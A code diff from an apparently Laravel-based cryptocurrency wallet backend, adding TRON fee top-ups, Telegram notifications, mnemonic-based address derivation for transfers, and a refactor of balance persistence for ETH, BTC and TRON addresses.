'to_address' => $fromAddress,
'chain' => 'tron',
'tx_hash' => null,
'amount' => $amount,
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'operator' => 'fee-topup'.($operator ? ':'.$operator : ''),
'status' => TransferRecord::STATUS_FAILED,
'error' => null,
];
try {
$txid = $driver->sendNativeWithPrivateKey($feeKey, $feeAddress, $fromAddress, $amount);
$topupRecord['tx_hash'] = $txid;
$topupRecord['status'] = TransferRecord::STATUS_SUCCESS;
$this->finish($topupRecord, [
'ok' => true,
'txid' => $txid,
'from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'asset' => 'TRX',
]);
create_log([
'event' => 'tron_fee_topup_success',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'txid' => $txid,
'operator' => $operator,
], 'transfer');
$this->notifyFeeTopupTelegram(
feeFrom: $feeAddress,
toAddress: $fromAddress,
ok: true,
amount: $amount,
txid: $txid,
);
} catch (\Throwable $e) {
$topupRecord['error'] = $e->getMessage();
$this->finish($topupRecord, ['ok' => false, 'error' => $e->getMessage()]);
create_log([
'event' => 'tron_fee_topup_failed',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'error' => $e->getMessage(),
'operator' => $operator,
], 'transfer');
$this->notifyFeeTopupTelegram(
feeFrom: $feeAddress,
toAddress: $fromAddress,
ok: false,
amount: $amount,
error: $e->getMessage(),
);
throw new RuntimeException('TRON fee top-up failed: '.$e->getMessage());
}
$deadline = microtime(true) + 45;
do {
if (! app()->runningUnitTests()) {
usleep(1_500_000);
}
$trx = $driver->getNativeBalance($fromAddress);
if (bccomp($trx, $target, 6) >= 0) {
return;
}
} while (microtime(true) < $deadline);
create_log([
'event' => 'tron_fee_topup_confirm_timeout',
'to' => $fromAddress,
'trx_after' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
throw new RuntimeException('TRON fee top-up sent but balance still below '.$target);
}
/**
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
@@ -155,9 +324,92 @@ class TransferService
'error' => $record['error'],
], 'transfer');
$this->notifyTransferTelegram($record, $result);
return $result;
}
/**
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
*/
private function notifyTransferTelegram(array $record, array $result): void
{
$operator = (string) ($record['operator'] ?? '');
if ($operator !== 'auto') {
return;
}
$from = (string) ($record['from_address'] ?? '');
$deviceKey = $this->deviceKeyForAddress($from);
if ($deviceKey === '') {
return;
}
try {
$this->telegram->notifyAutoTransfer(
$deviceKey,
$from,
(string) ($record['chain'] ?? ''),
(string) ($record['asset'] ?? ''),
(bool) ($result['ok'] ?? false),
isset($record['amount']) ? (string) $record['amount'] : null,
isset($record['to_address']) ? (string) $record['to_address'] : null,
isset($record['tx_hash']) ? (string) $record['tx_hash'] : null,
isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null),
);
} catch (\Throwable) {
// never break transfer for telegram
}
}
private function notifyFeeTopupTelegram(
string $feeFrom,
string $toAddress,
bool $ok,
?string $amount = null,
?string $txid = null,
?string $error = null,
): void {
$deviceKey = $this->deviceKeyForAddress($toAddress);
if ($deviceKey === '') {
return;
}
try {
$this->telegram->notifyFeeTopup(
$deviceKey,
$feeFrom,
$toAddress,
$ok,
$amount,
$txid,
$error,
);
} catch (\Throwable) {
// never break transfer for telegram
}
}
private function deviceKeyForAddress(string $address): string
{
$address = trim($address);
if ($address === '') {
return '';
}
try {
$devicePk = WalletAddress::query()->where('address', $address)->value('device_id');
if ($devicePk === null) {
return '';
}
return (string) (\App\Models\Device::query()->whereKey($devicePk)->value('device_id') ?: '');
} catch (\Throwable) {
return '';
}
}
private function toAddress(string $chain): string
{
return match ($chain) {
@@ -235,14 +487,14 @@ class TransferService
$addressRows = WalletAddress::query()
->where('address', $fromAddress)
->orderBy('id')
->get(['device_id', 'source']);
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
// ETH addresses are often stored with mixed-case checksum.
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
$addressRows = WalletAddress::query()
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
->orderBy('id')
->get(['device_id', 'source']);
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
}
if ($addressRows->isEmpty()) {
@@ -253,6 +505,29 @@ class TransferService
$caseInsensitive = $driver->chainId() === 'eth';
foreach ($addressRows as $row) {
if ($row->mnemonic_id !== null) {
$linked = WalletMnemonic::query()->find($row->mnemonic_id);
$phrase = $linked?->mnemonic;
if ($phrase !== null && trim($phrase) !== '') {
if ($row->derive_index !== null) {
return ['mnemonic' => $phrase, 'index' => (int) $row->derive_index];
}
for ($index = 0; $index <= MnemonicAddressLinker::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
$match = $caseInsensitive
? strcasecmp($derived, $fromAddress) === 0
: $derived === $fromAddress;
if ($match) {
return ['mnemonic' => $phrase, 'index' => $index];
}
} catch (\Throwable) {
break;
}
}
}
}
$mnemonics = WalletMnemonic::query()
->where('device_id', $row->device_id)
->where(function ($q) use ($row) {
+28 -8
View File
@@ -44,12 +44,14 @@ class WalletBalanceService
try {
$driver = $this->chains->resolve('eth');
$address->eth = $driver->getNativeBalance($addr);
$attrs = [
'eth' => $driver->getNativeBalance($addr),
];
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
if ($contract !== '') {
$address->usdt = $driver->getTokenBalance($addr, $contract);
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
}
$address->save();
$this->persistCoins($address, $attrs);
Log::info('eth balance refresh ok', [
'wallet_address_id' => $address->id,
@@ -78,8 +80,9 @@ class WalletBalanceService
try {
$driver = $this->chains->resolve('btc');
$address->btc = $driver->getNativeBalance($addr);
$address->save();
$this->persistCoins($address, [
'btc' => $driver->getNativeBalance($addr),
]);
Log::info('btc balance refresh ok', [
'wallet_address_id' => $address->id,
@@ -120,10 +123,11 @@ class WalletBalanceService
];
}
$address->trx = $balances['trx'];
$address->usdt = $balances['usdt'];
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
$address->save();
$this->persistCoins($address, [
'trx' => $balances['trx'],
'usdt' => $balances['usdt'],
]);
Log::info('tron balance refresh ok', [
'wallet_address_id' => $address->id,
@@ -144,6 +148,22 @@ class WalletBalanceService
}
}
/**
* Always write coin columns back to wallet_addresses (even when values are unchanged).
*
* @param array<string, string|int|float|null> $coins
*/
private function persistCoins(WalletAddress $address, array $coins): void
{
if ($address->id === null || $coins === []) {
return;
}
$coins['updated_at'] = now();
WalletAddress::query()->whereKey($address->id)->update($coins);
$address->refresh();
}
/**
* TronGrid REST: native + TRC20 in one call.
* Empty data[] (never-activated account) → explicit zeros.